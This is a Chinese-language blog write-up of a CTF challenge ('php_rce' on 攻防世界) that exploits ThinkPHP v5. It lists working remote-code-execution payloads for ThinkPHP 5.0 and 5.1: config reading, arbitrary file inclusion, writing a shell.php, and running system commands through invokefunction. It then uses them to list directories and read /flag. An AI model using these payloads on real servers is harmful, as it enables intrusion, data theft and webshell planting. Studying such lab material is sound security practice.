攻防世界 php_rce
hello 大家,好久没写过blog了,也好久没做过题了,假期开始,便回来做题,更新假期ctf学习的第一篇blog
这篇blog主要记录的是关于php_rce的一道题
打开题目环境:
所给予的提示只有thinkphp v5
考虑到是一个框架,且为rce,也就是说一定有相关可以利用的漏洞,在google搜索一下,相关payload如下:
5.0x?s=index/think\config/get&name=database.username
# 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg
# 包含任意文件?s=index/\think\Config/load&file=../../t.php
# 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
# 可用于执行命令
5.1x #本题未用到?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
payload用法示例index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
进行解题:
(1)根据5.0版本与rce进行命令执行:
payload:url/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
result:
(2)似乎什么都没有,于是我们访问一下根目录:
payload:url/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
result:
(3) 我们看到了很想要的东西 flag,使用cat打开
payload:url/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
result:
拿到flag:flag{thinkphp5_rce}
一些其他的东西
1.不是特别清楚为什么flag会显示两遍
2.漏洞解析博客:https://syst1m.com/post/thinkphp5-rce/